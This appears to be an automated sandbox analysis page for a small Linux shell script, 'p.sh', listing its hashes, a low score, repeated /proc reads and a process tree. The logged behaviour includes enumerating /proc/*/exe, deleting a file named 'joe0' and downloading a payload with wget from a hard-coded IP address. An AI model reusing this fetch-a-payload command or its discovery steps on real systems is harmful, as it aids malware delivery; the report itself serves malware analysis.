e3fff79f95c74448c84630ed8b5e3016c88124b540f927e2d5af15e8889f7acf

Analysis

max time kernel
141s
max time network
143s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/08/2026, 04:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
p.sh
Size 843B
Sample260804-e8ysravzfy
SHA256 e3fff79f95c74448c84630ed8b5e3016c88124b540f927e2d5af15e8889f7acf
MD5 a17f9e3f670ae7ba4757542d23427be2
SHA1 5105d7b399c7781548df18b3fc64ede9e17cbbb1
SHA512 7a5777c446032a8bcd35e99df188ce86ce2581569d17287bec99d9bcedc9612bfd063abc39e8ea532e44ef728aed64cddf5c4e0f9946919f4de6073107043051
TLSH
T1B001AFD782409E004059991D26DBD5A0B820E3CE5A4A0FB8BF8C5E3DFB9C508F02AF85
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/p.sh
/tmp/p.sh
1⤵
PID:647
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  - Reads runtime system information
  PID:649
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  - Reads runtime system information
  PID:654
- /bin/ls
  ls -l /proc/103/exe
  2⤵
  - Reads runtime system information
  PID:659
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:663
- /bin/ls
  ls -l /proc/110/exe
  2⤵
  - Reads runtime system information
  PID:668
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  PID:669
- /bin/ls
  ls -l /proc/113/exe
  2⤵
  - Reads runtime system information
  PID:673
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  - Reads runtime system information
  PID:676
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:680
- /bin/ls
  ls -l /proc/139/exe
  2⤵
  - Reads runtime system information
  PID:681
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  - Reads runtime system information
  PID:683
- /bin/ls
  ls -l /proc/141/exe
  2⤵
  - Reads runtime system information
  PID:684
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:685
- /bin/ls
  ls -l /proc/151/exe
  2⤵
  - Reads runtime system information
  PID:686
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/162/exe
  2⤵
  - Reads runtime system information
  PID:689
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/173/exe
  2⤵
  - Reads runtime system information
  PID:691
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:692
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:693
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  - Reads runtime system information
  PID:695
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:697
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:698
- /bin/ls
  ls -l /proc/235/exe
  2⤵
  - Reads runtime system information
  PID:699
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:703
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:704
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/291/exe
  2⤵
  - Reads runtime system information
  PID:706
- /bin/ls
  ls -l /proc/293/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/298/exe
  2⤵
  - Reads runtime system information
  PID:708
- /bin/ls
  ls -l /proc/299/exe
  2⤵
  - Reads runtime system information
  PID:709
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  - Reads runtime system information
  PID:710
- /bin/ls
  ls -l /proc/302/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/312/exe
  2⤵
  - Reads runtime system information
  PID:712
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  PID:713
- /bin/ls
  ls -l /proc/316/exe
  2⤵
  - Reads runtime system information
  PID:714
- /bin/ls
  ls -l /proc/330/exe
  2⤵
  - Reads runtime system information
  PID:715
- /bin/ls
  ls -l /proc/333/exe
  2⤵
  - Reads runtime system information
  PID:716
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:717
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:719
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/570/exe
  2⤵
  - Reads runtime system information
  PID:722
- /bin/ls
  ls -l /proc/583/exe
  2⤵
  - Reads runtime system information
  PID:723
- /bin/ls
  ls -l /proc/585/exe
  2⤵
  - Reads runtime system information
  PID:724
- /bin/ls
  ls -l /proc/589/exe
  2⤵
  - Reads runtime system information
  PID:725
- /bin/ls
  ls -l /proc/590/exe
  2⤵
  - Reads runtime system information
  PID:726
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/636/exe
  2⤵
  - Reads runtime system information
  PID:731
- /bin/ls
  ls -l /proc/637/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  - Reads runtime system information
  PID:736
- /bin/ls
  ls -l /proc/642/exe
  2⤵
  - Reads runtime system information
  PID:737
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  - Reads runtime system information
  PID:739
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:743
- /bin/ls
  ls -l /proc/647/exe
  2⤵
  - Reads runtime system information
  PID:745
- /bin/ls
  ls -l /proc/648/exe
  2⤵
  - Reads runtime system information
  PID:748
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  - Reads runtime system information
  PID:749
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  - Reads runtime system information
  PID:753
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  - Reads runtime system information
  PID:756
- /bin/rm
  rm -rf joe0
  2⤵
  PID:758
- /usr/bin/wget
  wget http://129.121.114.124/joe0
  2⤵
  PID:760

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads